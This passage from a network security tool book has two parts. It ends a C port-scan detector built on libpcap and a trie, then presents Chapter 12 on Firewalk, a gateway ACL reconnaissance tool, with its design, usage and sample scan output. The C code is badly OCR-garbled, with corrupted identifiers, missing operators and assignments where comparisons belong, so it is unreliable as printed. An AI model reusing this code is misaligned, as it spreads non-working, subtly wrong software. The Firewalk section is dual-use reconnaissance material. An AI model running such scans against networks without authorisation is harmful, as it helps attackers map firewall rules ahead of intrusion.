        if (pt_init(&((*gp)->pt)) == 0)
        {
           /* error set in pt_init() */
           return (EXIT_FAILURE);
        }

        /* control flags */
        (*gp)->flags = flags;
  
        if (capture_file)
        {
           /* we have a capture file to analyze */
           (*gp)->p = pcap_open_offline(capture_file, error);
           if ((*gp)->p == NULL)
           {
               fprintf(stderr, "pcap_open_offline() %s\n", error);
               return (0);
           }
        }
         else
        {
        /* we're doing a live capture, do we have a device? */
        if (device)
        {
            interface = device;
        }
        else
        {
            interface = pcap_lookupdev(error);
            if (interface == NULL)
            {
                fprintf(stderr, "pcap_lookupdev(): %s\n", error);



                return (0);
            }
        }
        (*gp)->p = pcap_open_live(interface, MAX_PACKET,
                       ((*gp)->flags & ALL_HOSTS), 0, error);
                if ((*gp)->p == NULL)
        {
                fprintf(stderr, "pcap_open_live() %s\n", error);
                return (0);
        } 
   }
   /* get the length of the link layer header */
   switch (pcap_datalink((*gp)->p))
   {
        case DLT_SLIP:
               /* a little SLIPstreaming! Whoops! There's Charlie! */
               (*gp)->offset = 0x10;
               break;
        case DLT_PPP:
               /* PPP y0 */
               (*gp)->offset = 0x04;
               break
        default:
        case DLT_EN10MB;
               /* good old ethernet or something like it I hope! */
               (*gp)->offset = 0x0e;
               break;
   }

   if (interface)
   {
        /* compile our filter and apply it to the interface */
        if (pcap_lookupnet(interface, &network, &netmask, error) < 0)
        {
               fprintf(stderr, "pcap_lookupnet() %s \n", error);
               return (0);
        }
   }
   if (pcap_compile((*gp)->p, &prog, FILTER, 1, netmask) < 0)
        {
               fprintftstderr, "pcap_compile(): \"%s\" failed\n", FILTER);
               return (0);
        }
        if (pcap_setfilter((*gp)->p, &prog) 0)
        {
               fprintf(stderr, "pcap_setfilter() failed\n");
               return 0;
        }
        return (1);
   }

   void



   descry_destroy(struct descry_pack *gp)
   {
        /* do something someday*/
   }

   void
   descry(u_char *u, struct pcap_pkthdr *phdr, u_char *packet)
   {
        struct libnet_ipv4_hdr *ip;
        struct libnet_tcp_hdr *tcp;
        struct descry_pack *gp;
        struct tcp_connection *c;
        struct tcp_connection *rc;
        static u_char cleanup = 0;
        struct timeval ts;

        rc = NULL;
        c = NULL;
        gp = (struct descry_pack *)u;

        /*
         * In order to keep the trie from growing boundlessly, we need to
         * periodically expire half open connections.
         */
        if (cleanup++ > CLEANUP_INTERVAL)
        {
               ts.tv_usec = phdr->ts.tv_usec;
               ts.tv_sec = phdr->ts.tv_sec;

               /* expire old connections */
               pt_expire(gp, its);
               cleanup = 0,
        }

        /*
         * Ignore packets that do not have an entire TCP header. Currently
         * this code does not handle fragmented TCP headers and will not
         * detect scans that use them.
         */
        if (phdr->len (gp->offset + LIBNET_IPV4_H + LIBNET_TCP_H))
        {
               return;
        }

        /* overlay IP and TCP headers */
        ip = (struct libnet_ipv4_hdr *)(packet + gp->offset);
        tcp = (struct libnet_tcp_hdr *)(packet + gp->offset +
                (ip->ip_hl << 2));
        /* shave off the lower order 6 bits containing the control flags */
        switch (tcp->th_flags & 0x3F)
        {
            case (TH_SYN | TH_ACK):



                /* this is a new connection to be added to the trie */

                /* get memory for the connection state */
                c = malloc(sizeof (struct tcp_connection));
                if (c == NULL)
                {
                   return;
                }

                /* set connection state */
                memcpy(&(c->ts), &(phdr->ts), sizeof(struct timeval));
                /*
                 * The context for the connection state is biased towards
                 * the initiator of the TCP connection. Since this TCP
                 * segment is the SYN|ACK (response from server) , we
                 * reverse the source and destination when filling in the
                 * connection information.
                 */
                SET_STATE(c, ip->ip_src.s_addr, tcp->th_sport,
                        ip->ip_dst .s_addr, tcp->th_dport, tcp->th_ack);
                /* insert TCP connection into the trie */
                if (pt_insert(gp->pt, c) == 0)
                {
                    fprintf(stderr, "pt_insert() failed! \n");
                }
                break;
            case (TH_FIN | TH_ACK):
            case (TH_RST):
            case (TH_RST | TH_ACK):
                /* connection teardown */

                /* get memory for the connection state */
                c = malloc(sizeof (struct tcp_connection));
                if (c == NULL)
                {
                    return;
                }
                /* set connection state so we can search for the connection */
                SET_STATE(c, ip->ip_dst.s_addr, tcp->th_dport,
                        ip->ip_src.s_addr, tcp->th_sport, tcp->th_seq);

                /*
                 * Search the trie to see if this connection teardown
                 * corresponds to one of ours. We are looking for TCP
                 * connections where the initiator sends a SYN segment
                 * and the destination host is listening and responds
                 * with a SYN-ACK segment. Next the initiator closes the
                 * connection with a FIN-ACK, RST-ACK, or RST segment
                 * WITHOUT ever sending any data on the connection. This
                 * condition is usually a good indicator of someone doing
                 * a full-open (connect) port scan to see if a service is
                 * listening.



                 */
                 if (pt_find(gp->pt, c, &rc))
                 {
                     /*
                      * Check the state of the connection to see if it's a
                      * possible port scan. If the sequence number hasn't
                      * been incremented past "1", the connection was opened
                      * then immediately closed. Most full open TCP port
                      * scanners work in this fashion and will be detected.
                      */
                     check_state(gp, c, rs);

                    /* delete the connection from the trie */
                    pt_delete(gp->pt, rs);
                 }
            else
                 {
                    /*
                     * Did not find ths connection. Assuming the initiator
                     * sent the teardown request, so we will try again
                     * while making the assumption that the server sent it.
                     */
                     SET_STATE(c, ip->ip_src.s_addr, tcp-th_sport,
                               ip->ip_dst.s_addr, tcp->th_dport,
                               tcp->th_ack);
                     pt_delete(gp->pt, c);
            }
                 free(c);
            break;
            default:
                 break;
       }
   }
   void
   check_state(struct descry_pack *gp, struct tcp_connection *conl,
            struct tcp_connection *con2)
   {
       /* check sequence number delta to see if data was sent */
       if (ntohl{conl->seq) = ntohl(con2->seq) &&
            ntohl(conl->seq) = ntohl(con2-seq) + 2)
       {
            if (gp->flags & DO_SYSLOG)
            {
                syslog(LOG_NOTICE,
                    "Possible TCP port scan from %s:%d to %s:%d",
                     libnet_addr2name4(conl-src_addr.s_addr,
                             LIBNET_DONT_RESOLVE),
                     ntohs(conl->src_port),
                     libnet_addr2name4(conl->dst_addr.s_addr,
                             LIBNET_DONT_RESOLVE),
                     ntohs(conl->dst_porc));
             }



             else
             {
                fprintf(stderr,
                     "[%s] TCP probe from %s:%d to %s:%d\n",
                     get_time(),
                     libnet_addr2name4 (conl-src_addr.s_addr,
                              LIBNET_DONT_RESOLVE),
                     ntohs(conl->src_port),
                     libnet_addr2name4(conl->dst_addr.s_addr,
                              LIBNET_DONT_RESOLVE),
                     ntohs(conl->dst_port));
              }
       }
   }

   void
   pt_make_key(u_char *Key, struct tcp_connection *c)
   {
       if (c == NULL)
       {
              fprintf(stderr, "pt_make_key ): c is NULL!\n");
              return;
       }
       /* create a key for the trie fro.-, connection info */
       memcpy(key, & (c->src_addr. s_addr), 4);
       memcpy(key + 4, &(c->src_port), 2);
       memcpy(key + 6, &(c->dst_addr.s_addr), 4);
       memcpy(key + 10, &. (c->dst_port) , 2);
   }

   struct pt_node *
   pt_new(int bit, struct pt_node *1,
           struct pt_node *r, struct tcp_connection *con)
   {
       struct pt_node *p = NULL;

       p = malloc(sizeof(struct pt_node));
       if (P)
       {
           p->bit = bit;
           P->1 = 1;
           p->r = r;
           p-> con = con;
       }
       return (p);
   }

   int
   pt_init(struct pt_context **p)
   {
       *p = malloc(sizeof(struct pt_context));
       if (*p == NULL)



       {
           perror("pt_init(): malloc(): ") ; return (0);
       }

       /* point the head node to NULL and set the node counter to 0 */
       (*p)->head = NULL;
       (*p)->n = 0;

       return (1);
   }

   int
   get_bit(u_char *key, struct pt_node *n)
   {
       u_char conkey[KEY_BYTES];

       memset(conkey, NULL, KEY_BYTES);
       if (n->bit MIN_KEY_BIT || n->bit MAX_KEY_BIT)
       {
           pt_make_key(conkey, n->con);
           if (memcmp(key, conkey, KEY_BYTES) == 0)
           {
               /* found a match! */
               return (2);
           }
           else
           {
               /* did not match */
               return (3);
           }
       }
       /*
        * The key is treated as one long binary string starting from the
        * left, which corresponds to MSB key[0]. The math finds the
        * appropriate byte through integer division, finds the bit through
        * modulus 8, and then shifts the bit down and masks the value to
        * get an integer of value 1 or 0.
        */
       return ((key[n->bit / 8] >> (7 - (n->bit % 8))) & 0x01);
   }
   int
   pt_search_r(struct pt_node *n, u_char *key, struct pt_node **rc)
   {
       /* extract bit from the key */
       switch (get_bit (key, n))
       {
           case 0:
               return (pt_search_r(n->l, key, rs));
           case 1:
               return (pt_search_r(n->r, key, rs));
           case 2:
               *rc = n; 



               return (1);
           default:
               *rc = n;
               return (0);
       }
   }

   int
   pt_remove_r(struct pt_context *pt, struct pt_node *n, u_char *key,
        struct pt_node *prev)
   {
       struct pt_node *tmp;

       if (n == NULL)
       { 
           return (0);
       }
 
       /* extract bit from the key */
       switch (get_bit(key, n))
       {
           case 0:
                /* recurse down the left of this node */
                return (pt_remove_r(pt, n->l, key, n) );
                break;
           case 1:
                /* recurse down the right of this node */
               return (pt_remove_r(pt, n->r, key, n));
               break;
           case 2:
               /*
                * Found the node to remove, deallocate its data and move
                * the sibling data node up one.
                */
               free(n->con);
               n->con = (struct tcp_connection *)CON_REMOVED;
               /*
                * This will happen if the connection just removed was the
                * only thing in the trie, and therefore in the root node.
                */
               if (prev == NULL)
               {
                   return (1);
               }
               /*
                * If the left child node was removed, move up the values
                * from the right and then free the unused nodes.
                */
               if ((int)prev->l->con == CON_REMOVED)
               {
                  tmp = prev->r->r;
                  free(prev->l);



                  prev->con = prev->r->con;
                  prev->bit = prev->r->bit;
                  prev->l = prev->r->l;
                  free(prev->r);
                  prev->r = tmp;
               }
               /*
                * The right child was removed, so move up the values from
                * the left child and then free the unused nodes.
                */
               else
               {  
                  tmp = prev->l->l;
                  free(prev->r);
                  prev->con = prev->l->con;
                  prev->bit = prev->l->bit;
                  prev->r = prev->l->r;
                  free(prev->l);
                  prev->l = tmp;
                }
               /* decrement node counter in trie context structure */
               pt->n -= 2;
               return (1);
           default:
               return (0);
       }
   }
   void
   pt_delete(struct pt_context *pt, struct tcp_connection *c)
   {
       u_char key[KEY_BYTES];

       /* if the trie is empty, just return */
       if (pt->head == NULL)
       {
           return;
       }
       /* generate the trie key for this connection record */
       memset(key, NULL, KEY_BYTES); pt_make_key(key, c);

       /* call the recursive search and delete function */
       if (pt_remove_r(pt, pt->head, key, NULL))
       {
           /*
            * If we just deleted the last connection record in the trie
            * then remove the last node so we have a totally empty trie.
            */
           if (pt->n == 1 && (int)(pt->head->con) == CON_REMOVED)
           {
                free(pt->head);
                pt->head = NULL;
                pt->n = 0;



           }
       }
   }

   int
   pt_find(struct pt_context *pt, struct tcp_connection *c,
           struct ccp_connection **re;
   {
       u_char key[KEY_BYTES];
       struct pt_node *rn;
       int r;

       if (pt->head == NULL)
       {
           /* can't find anything in a NULL trie */
           *rc = NULL;
           return (0);
       }

       /* get a key for this connection */
       memset(key, NULL, KEY_BYTES);
       pt_make_key(key, c);

       rn = NULL;
       r = pt_search_r (pt->head, key, &rn);

       /* point the retrieved connection to the node found */
        *rc = rn->con;

       return (r);
   }
   int
   diff_bit(u_char *keyl, u_char *key2, int *b)
   {
       int i, j ;
       unsigned char v;

       /* iterate through all key bytes */
       for (i = 0; i KEY_BYTES; i++)
       {
           /* XOR each byte to find the first differing key byte */
           if ((v = key1[i] $ key2[i]))
           { 
              /*
               * Found two differing bytes, now shift through each bit
               * of the XOR result to find the first differing key bit.
               */
              for (j = 0; j < 8; j++)
              {
                   /* left shift with bitwise AND with a high bit mask */
                   if (v << j & 0x80}
                   {



                       /*
                        * Isolate the differing bit in key1 and place the
                        * actual value of the bit in b.
                        */
                        *b = key1[i] >> (7 - j) & 0x01;
                       /*
                        * Return the number of bits from the left that the
                        * first bit difference occurs between key1 and
                        * key2.
                        */
                       return (i * 8 + j);
                    }
              }
           }     
       }
       /* no difference */
       return (MAX_KEY_BIT);
   }
   int
   pt_insert(struct pt_context *pt, struct tcp_connection *c)
   {
       struct pt_node *rn = NULL;
       u_char keyl[KEY_BYTES], key 2[KEY_BYTES];
       int b;

       if (pt->head == NULL)
       {
            /* make a new head node */
            pt->head = pt_new(MIN_KEY_BIT - 1, NULL, NULL, c);
            if (pt->head == NULL)
            {
                perror("pt_insert(): malloc(): ");
                return (0);
            }
            else
            {
                /* increment node counter and return success */
                pt->n++;
                return (1);
            }
       }       
       else
       {
            memset(key1, NULL, KEY_BYTES);
            pt_make_key(key1, c);

            switch (pt_search_r(pt->head, key1, &rn))
            {
                case 0:
                    memset(key2, NULL, KEY_BYTES);
                pt_make_key(key2, rn->con);



                    /* find the first differing bit, and its value */
                    rn->bit = diff_bit(key1, key2, &b);
                    if (((b ? rn->r : rn->l)=
                        pt_new(MIN_KEY_BIT - 1, NULL, NULL, c)) == NULL)
                    {
                        return (0);
                    }

                    if (((b ? rn->l : rn->r)=
                        pt_new(MIN_KEY_BIT - 1, NULL, NULL, rn->con)) == NULL)
                    {
                        free(b ? rn->r : rn->l);
                        return (0);
                    }
                    rn->con = NULL;
                    /* added two new nodes */
                    pt->n += 2;
                    return (1);
                case 1:
                    return (2);
            }
       }
       return (0);
   }
   void
   pt_walk_r(struct descry_pack *gp, struct pt_node *cur,
           struct pt_node *pre, struct timeval* ts)
   {
       struct timeval tsdif;

       if (cur == NULL || pre == NULL)
       {
            /* can't walk a NULL trie */
            return;
       }

       /* if this is a decision node, then keep walking */
       if (cur->bit >= MIN_KEY_BIT && cur->bit <= MAX_KEY_BIT)
       {
            pt_walk_r(gp, cur- l, cur, ts);
       }

       /* looks like a data node, so check the connection values */
       else if (NULL != cur->con)
       {
             PTIMERSUB(ts, &(cur->con->ts), &tsdif);

             /*
              * If the timestamp on the current connection is too old
              * remove it.
              */
             if (EXPIRE_TIME < tsdif.tv_sec)



             {
                 pt_delete(gp->pt, cur->con);
             }

             /* return if we reach the far right or the root node */
             if (cur == pre || cur == pre->r)
             {
                  return;
             }

             /* otherwise, go up one and to the right */
             pt_walk_r(gp, pre->r, pre, ts);
       }     
       else
       {
             /*
              * If we hit this code block we have major problems - a node
              * looks like it is a data node, but it has no data. We'll
              * warn and bail immediately.
              */
             if (gp->flags & DO_SYSLOG)
             {
                 syslog(LOG_WARNING/ "Internal data structure corrupted!");
             }
             else
             {
                 fprintf(stderr, "Internal data structure corrupted!\n");
             }
             abort();
        }
   }

   void
   pt_expire(struct descry_pack *gp, struct timeval* ts)
   {
       /* walk the tree and expire old connections */
       pt_walk_r(gp, gp->pt->head, gp->pt->head, ts);
   }
   char *
   get_time()
   {
       int i;
       time_t t;
       static char buf[26];

       t = time((time_t *)NULL);
       strcpyfbuf, ctime(&t));

       /* cut out the day, year and\n */
       for (i = 0; i < 20; i++)
       {
            buf[i] = buf[i + 4];



       }
       buf[15] = 0;

       return (buf);
   }
   void
   usage(char* name)
   {
       fprintf(stderr,
       "usage %s [options] (-i and -f are mutually exclusive)\n"
       "-a\t\tmonitor all hosts in the same segment\n"
       "-i interface\tspecify device <or>\n"
       "-f capture file\tspecify tcpdump capture file\n"
       "-s\t\tlog to syslog instead of stderr\n", name);
    }
    /* EOF */

 



 

Chapter 12: Tying Everything Together—Firewalk

Firewalk is an active reconnaissance network security tool that implements the IP expiry-derived technique of
the same name described in Chapter 9. This tool enables the user to determine TCP and UDP access
control lists on arbitrary Internet gateways. As we will see, you build Firewalk by using several of the
techniques and components that we profile in this book. The first version of Firewalk, released in Fall 1998,
had few changes up until now. Since its release, Firewalk has encountered widespread use by security teams
worldwide and was the subject of articles by renowned security organizations such as The System
Administration and the Networking and Security (SANS) Institute, as well as being profiled in books such as
Hacking Exposed (Third Edition, Osborne McGraw-Hill, 2001). According to a June 2000 poll, Firewalk is
considered one of the top 50 security tools in use today.

This chapter covers Firewalk in detail, from development to deployment, including a detailed code
walkthrough with high-level flowcharts. While we briefly mentioned and showed Firewalk in the beginning of
this book, the version of Firewalk profiled here is new and completely overhauled for presentation in this
chapter. This chapter expects the reader to be familiar with the IP expiry technique and fire walking method
discussed in Chapter 9.

The Genesis of a Network Security Tool

As we mentioned in the beginning of this book, Firewalk developed purely out of necessity. It was designed to
bridge the gap that existed between what was conventionally possible by using the traceroute tool and what
we, as security consultants, needed to accomplish. What follows is the basic development process for
Firewalk 5.0 as it pertains to the modular model of network security tools and how it fits into the software
development lifecycle.

Requirements

The development process began as many do: on the whiteboard. We started by brainstorming the
requirements that we felt were needed for the as-yet-undeveloped tool. On a macroscopic scale, the tool
would be somewhat comparable to traceroute but with much added functionality. With that in mind, we set
ourselves to defining more stringent requirements:

Protocol ACL scanning. The main rationale behind the development of the tool was to create a facility
that would enable a security analyst to determine which protocols a filtering target gateway would permit
to pass. As it turns out, this function is basically an amalgamation of the port scanning and IP expiry
techniques seen in Chapter 9.

Port scanning on metric. A value-added feature would be for the tool to perform some level of port
scanning on the hosts behind the target gateway.

Small and simple. At the end of the day, the tool should not be too complex to use or understand. It
should have a simple command line and a shallow learning curve.

Portability. The tool should be portable to all popular platforms that security consultants use. This
feature is made possible through the use of the modular model.

Reliable performance on unstable networks. The tool needed to produce consistent, or at least
predictable, results in the event of network issues such as malfunctioning routers, which might exhibit
closed-loop failure styles, busy routers, asymmetrical routes, and so on.



Verbose reporting. The tool should have multiple reporting formats-one optimized for human analysis
and another for easy integration into automation scripts. The obvious choice at this point would probably
be something XML-based.

Analysis and Design

After defining initial requirements, it was time to refine and prioritize them based on development timeframes,
scope, and the expected environment of the tool:

Protocol ACL scanning. Definitely, this top priority was the main reason for developing the tool in the
first place. Firewalk would not be Firewalk without this core capability.

Reliable performance on unstable networks. Reliability and robust behavior was also a primary
concern because the tool was going to be deployed across the Internet. A tool that does not perform
consistently or handle fringe cases has a limited utility.

Portability. It is also important for the tool to compile on different platforms. Security consultants are
notoriously religious about their chosen platforms, and the tool should be built with this in mind.

Port scanning on metric. We decided that this function was a great value-added feature, but due to
persnickety protocol issues, metric port scanning is not always possible (see the following section for
more information).

Verbose reporting. Upon re-examination, multiple reporting formats were picked as an ancillary
requirement that would be built in "perhaps at some point."

Small and simple. First and foremost, the tool needs to be functional and robust. Building a simple tool
that is predominantly user-friendly is secondary to functionality.

After the requirements were listed, analyzed, and prioritized, the modular model of network security tools
as introduced in Chapter 1 was applied. From the requirements, the list of techniques formed.

Firewalk and the Modular Model

A breakdown of Firewalk's architecture using the modular model is shown in Figure 12.1.

Figure 12.1: Firewalk



Technique Layer

We see that Firewalk is built by using the packet-sniffing, port-scanning, and IP expiry techniques. Packet
sniffing is required to read in and filter all of the responses from the network. Port scanning is needed to not
only scan the target gateway but also potentially scan the metric. IP expiry is used for both the ramping phase
to determine the binding host and also to perform the scanning.

Component Layer

We also note that these techniques require the libpcap, libnet, and libdnet components. The libpcap and
libnet components are directly related to the packet-sniffing, port-scanning, and IP expiry techniques while the
libdnet role is a bit less obvious. The libdnet component provides the vital capability to enable Firewalk to
build and send packets at the MAC layer by providing portable ARP cache and route table functionality. This
feature is important because it enables us to maintain our No. 3 priority of portability (to understand why, see
the section in Chapter 3 on Libnet Wire Injection Methods).

Control Layer

Finally, the control layer contains all of the mundane control logic, house keeping, reporting, and analysis
details.

Classification

While the packet-sniffing technique binds the tool to the passive reconnaissance class, the port-scanning and
IP expiry techniques bind the tool to the active reconnaissance class (which, as we have seen in earlier
chapters, takes precedence).

 



 

Firewalk in Practice

Firewalk, when invoked with no arguments, dumps its usage:

  tradecraft: ~# ./firewalk
  Firewalk 5.0 [gateway ACL scanner]
  Usage : ./firewalk [options] target_gateway metric
                     [-d 0 - 65535] destination port (ramping phase)
                     [-h] program help
                     [-i device] interface
                     [-n] do not resolve IP addresses into hostnames
                     [-p TCP | UDP] firewalk protocol
                     [-r] strict RFC adherence
                     [-S x - y, z] port range to scan
                     [-s 0 - 65535] source port
                     [-T 1 - 1000] packet read timeout in ms
                     [-t 1 - 25] IP time to live
                     [-v] program version
                     [-x 1 - 8] expire vector

The arguments are all optional with the exception of the target_gateway and metric hosts. The -d switch

enables the user to choose a different destination port for the ramping phase (which defaults to the traceroute
starting port, 33434). The -i switch enables the user to specify an alternative interface. The -n switch

prevents Firewalk from resolving IP addresses into hostnames, which might increase performance by
eliminating time-consuming DNS lookups. The -p switch specifies the protocol to scan with during the
scanning phase. As of version 5.0, Firewalk only supports UDP and TCP, defaulting to UDP. The -r switch
enables strict RFC standards adherence (described next). The -S switch enables the user to specify an
alternative port list to scan for the scanning phase (the default is 1-130,139,1025). The -s switch enables the
user to specify a different source port to scan with for both phases (the default is 53). The -T switch enables

the user to specify a timeout that Firewalk will wait for packets to return (the default is 2). The -T switch
enables the user to preload an IP TTL value. For example, if the user knew that the target_gateway was eight
hops out, he or she might want to start the scan with "-t 8" in order to eliminate the initial ramping phase-thus
moving to the scanning phase quicker. The -x switch is more of an advanced parameter that enables the
user to tune how many hops from the target_gateway the binding host is.

A sample UDP-based invocation of Firewalk is as follows:

  tradecraft: ~# ./firewalk -n -pUDP -Sl-10,123,161 172.16.18.2
  192.168.36.1
  Firewalk 5.0 [gateway ACL scanner]
  Firewalk state initialization completed successfully.
  UDP-based scan.
  Ramping phase source port: 53, destination port: 33434
  Hotfoot through 172.16.18.2 using 192.168.36.1 as a metric.
  Ramping Phase:
    1 (TTL 1): expired   [10.0.0.1]
    2 (TTL 2): expired   [10.0.1.1]
    3 (TTL 3): expired   [10.0.2.1]
    4 (TTL 4): expired   [10.0.9.2]



    5 (TTL 5): expired   [10.44.20.1]
    6 (TTL 6): expired   [10.44.22.1]
    7 (TTL 7): expired   [172.16.18.2]
  Binding host reached.
  Scan bound at 8 hops.
  Scanning Phase:
  port 1: open (expired)   [172.16.20.2]
  port 2: open (expired)   [172.16.20.2]
  port 3: open (expired)   [172.16.20.2]
  port 4: open (expired)   [172.16.20.2]
  port 5: open (expired)   [172.16.20.2]
  port 6: open (expired)   [172.16.20.2]
  port 7: open (expired)   [172.16.20.2]
  port 8: open (expired)   [172.16.20.2]
  port 9: open (expired)   [172.16.20.2]
  port 10: open (expired)  [172.16.20.2]
  port 123: *no response*
  port 161: open (expired) [172.16.20.2]

  Total packets sent;              19
  Total packet errors:             0
  Total packets caught             23
  Total packets caught of interest 19
  Total ports scanned              12
  Total ports open:                11
  Total ports unknown:             0

As we can see, Firewalk reached the target gateway at seven hops and bound the scan at eight hops. During
scanning, Firewalk found that port 123, (NTP) was filtered and that the rest of the probes were passed
through the tar get gateway. Another sample invocation of Firewalk is as follows:

  tradecraft: # ./firewalk -n 10.0.10.1 10.33.10.29
  Firewalk 5.0 [gateway ACL scanner]
  Firewalk state initialization completed successfully.
  UDP-based scan.
  Ramping phase source port: 53, destination port: 33434
  Hotfoot through 10.0.10.1 using 10.33.10.29 as a metric.
  Ramping Phase:
     1 (TTL 1): expired [10.20.19.1]
     2 (TTL 2): expired [10.20.44.1]
     3 (TTL 3): expired [10.30.0.10]
     4 (TTL 4): expired [10.33.9.9]
     5 (TTL 5): terminal (unreach ICMP_UNREACH_PORT) [10.33 10.29]
  scan aborted: metric responded before target; must not be en route.

  Total packets sent:                   5
  Total packet errors:                  0
  Total packets caught                  10
  Total packets caught of interest      5
  Total ports scanned                   0
  Total ports open:                     0



  Total ports unknown:                  0

Firewalk tried its hardest to reach the target gateway to bind the scan, but it just was not in the cards. The
metric responded before the target gateway and ended the scan. The solution here is to either find a different
metric or to move the Firewalk scanner to a physically different location that might place the target gateway
en route by using that metric. Another UDP-based scan is as follows:

  tradecraft: ~# ./firewalk -n -s20-25,53,80 172.31.234.82 172.31.254.20
  Firewalk 5.0 [gateway ACL scanner]
  Firewalk state initialization completed successfully.
  UDP-based scan.
  Ramping phase source port: 53, destination port: 33434
  Hotfoot through 172.31.234.82 using 172.31.254.20 as a metric.
  Ramping Phase:
  1  (TTL  1): expired [10.20.19.1]
  2  (TTL  2): expired [10.20.44.1]
  3  (TTL  3): expired [10.30.0.10]
  4  (TTL  4): expired [10.33.9.9]
  5  (TTL  5): expired [10.161.124.53]
  6  (TTL  6): expired [10.228.44.49]
  7  (TTL  7): expired [10.232.3.137]
  8  (TTL  8): expired [20.181.1.133]
  9  (TTL  9): expired [192.168.14.162]
  10 (TTL 10): expired [192.168.14.121]
  11 (TTL 11): expired [192.168.5.99]
  12 (TTL 12): expired [192.168.5.123]
  13 (TTL 13): expired [192.168.5.113]
  14 (TTL 14): expired [192.168.30.14]
  15 (TTL 15): expired [192.168.30.142]
  16 (TTL 16): expired [172.22.229.229]
  17 (TTL 17): expired [172.22.228.129]
  18 (TTL 18): expired [172.22.230.254]
  19 (TTL 19): expired [172.22.230.121]
  20 (TTL 20): expired [172.22.230.118]
  21 (TTL 21): expired [172.22.230.158]
  22 (TTL 22): expired [172.22.119.229]
  23 (TTL 23): expired [172.31.200.230]
  24 (TTL 24): expired [172.31.234.158]
  25 (TTL 25): expired [172.31. 234.82]
  Binding host reached.
  Scan bound at 26 hops.
  Scanning Phase:
  port 20: A! unknown (unreach ICMP_UNREACH_PORT) [172.31.254.20]
  port 21: A! unknown (unreach ICMP_UNREACH_PORT) [172.31.254.20]
  port 22: A! unknown (unreach ICMP_UNREACH_PORT) [172.31.254.20]
  port 23: A! unknown (unreach ICMP_UNREACH_PORT) [172.31.254.20]
  port 24: A! unknown (unreach ICMP_UNREACH_PORT) [172.31.254.20]
  port 25: A! unknown (unreach ICMP_UNREACH_PORT) [172.31.254.20]
  port 53: *no response*
  port 80: A! unknown (unreach ICMP_UNREACH_PORT) [172.31.254.20]



  Scan completed successfully.

  Total packets sent:                                33
  Total packet errors:                               0
  Total packets caught                               65
  Total packets caught of interest                   32
  Total ports scanned                                8
  Total ports open:                                  0
  Total ports unknown:                               7

This time, Firewalk had a ways to go (25 hops) before reaching the target gateway and binding the scan. Also
of note is the fact that Firewalk determined that the target gateway and metric hosts were adjacent to each
other (Firewalk displays the A! when it figures this situation out). This situation enables Firewalk to perform a

rudimentary portscan on the metric (assuming that the probes are passed by the target gateway). As we
discussed in Chapter 9, however, when a host receives an arbitrary UDP packet, it will either return an ICMP
port as unreachable if the port is closed or it will drop the packet if the port is open. This situation is what we
see. Probes to ports 20-25 and 80 are accepted through the target gateway and are found to be closed on
the metric (the ICMP port unreachable message confirms this scenario). Port 53 (DNS) is an unknown
quantity because no response was received. If we assume that the probe was passed by the target gateway,
we can assume that the port is open. Constructing a legitimate DNS query would be the only way to confirm
it.

Another invocation of Firewalk using the same hosts, this time TCP-based, is as follows:

  tradecraft: ~# ./firewalk -n -S20-25, 80 172.31.234.82 172.31.254.20
  Firewalk 5.0 [gateway ACL scanner]
  Firewalk state initialization completed successfully.
  TCP-based scan.
  Ramping phase source port: 53, destination port: 33434
  Hotfoot through 172.31.234.82 using 172.31.254.20 as a metric.
  Ramping Phase:
   1 (TTL  1): expired [10.20.19.1]
   2 (TTL  2): expired [10.20.44.1]
   3 (TTL  3): expired [10.30.0.10]
   4 (TTL  4): expired [10.33.9.9]
   5 (TTL  5): expired [10.161.124.53]
   6 (TTL  6): expired [10.228.44.49]
   7 (TTL  7): expired [10.232.3.137]
   8 (TTL  8): expired [20.181.1.133]
   9 (TTL  9): expired [192.168.14.162]
  10 (TTL 10): expired [192.168.14.121]
  11 (TTL 11): expired [192.168.5.99
  12 (TTL 12): expired [192.168.5.123]
  13 (TTL 13): expired [192.168.5.113]
  14 (TTL 14): expired [192.168.30.14]
  15 (TTL 15): expired [192.168.30.142]
  16 (TTL 16): expired [172.22.229.229]
  17 (TTL 17): expired [172.22.228.129]
  18 (TTL 18): expired [172.22.230.254]
  19 (TTL 19): expired [172.22.230.121]
  20 (TTL 20): expired [172.22.230.118]



  21 (TTL 21): expired [172.22.230.158]
  22 (TTL 22): expired [172.22.119.229]
  23 (TTL 23): expired [172.31.200.230]
  24 (TTL 24): expired [172.31.234.158]
  25 (TTL 25): expired [172.31.234.82]
  Binding host reached.
  Scan bound at 26 hops.
  Scanning Phase:
  port 20: A! open (port not listen) [172.31.254.20]
  port 21: A! open (port not listen) [172.31.254.20]
  port 22: A! open (port listen) [172.31.254.20]
  port 23: A! open (port not listen) [172.31.254.20]
  port 24: A! open (port not listen) [172.31.254.20]
  port 25: A! open (port listen) [172.31.254.20]
  port 80: A! open (port listen) [172.31.254.20]

  Scan completed successfully.

  Total packets sent:                            32
  Total packet errors:                           0
  Total packets caught                           64
  Total packets caught of interest               30
  Total ports scanned                            7
  Total ports open:                              7
  Total ports unknown:                           0

Again, Firewalk detected the adjacent host situation, but this time—because it was configured to scan by
using TCP—Firewalk can be more confident with its results. Firewalk could not only pass all of the probes
through the target gateway but also port scan the metric and determine that port 23 (telnet), port 25 (SMTP),
and port 80 (HTTP) were open.

 



 

Firewalxsxsk Code Walkthrough

The following section contains a detailed code walkthrough of the Firewalk 5.0 source tree. At this writing, the
Firewalk codebase consisted of approximately 2200 lines of code spread across 14 source files (which you
can find at the end of this chapter). The walkthrough contains selected code that shows control and flow
exactly as it appears from the source files.

Note Most functions return 1 on success and -l on failure. This style is the author's, in line with libnet

and libsf.

Intermingled with the code walkthrough are flowcharts that show the high-level processes that are taking
place in the code. The Firewalk walkthrough is broken down into three main areas of focus: initialization and
the two packet sending phases and ramping and scanning. This high-level process is shown in the top-level
flowchart in Figure 12.2.

Figure 12.2: Firewalk top-level flowchart.

The Firewalk network security tool performs its work in three stages. First, the tool goes through a bootstrap
process where it initializes itself and validates user command-line arguments. Assuming that the initialization



process is successful, Firewalk moves on to the ramping phase, where it determines the proper hopcount to
the binding host beyond the target gateway. If the ramping phase completes successfully, Firewalk then
attempts to determine ACL status on the target gateway during the scanning phase.

Stage One: Initialization

Firewalk initialization is a three-step process, as shown in Figure 12.3.

Figure 12.3: Firewalk initialization flowchart.

The first thing Firewalk does after greeting the user is allocate memory for its monolithic context structure,
which—as the following comment states-is used by every major function in the program. The information
contained in this structure is central to the operation of the program:

  int
  main(int argc, char *argv[])
  {
       int c;
       struct firepack *fp;
       char *port_list = NULL;



       char errbuf[FW_ERRBUF_SIZE];

       printf("Firewalk 5.0 [gateway ACL scanner]\n");

       /*
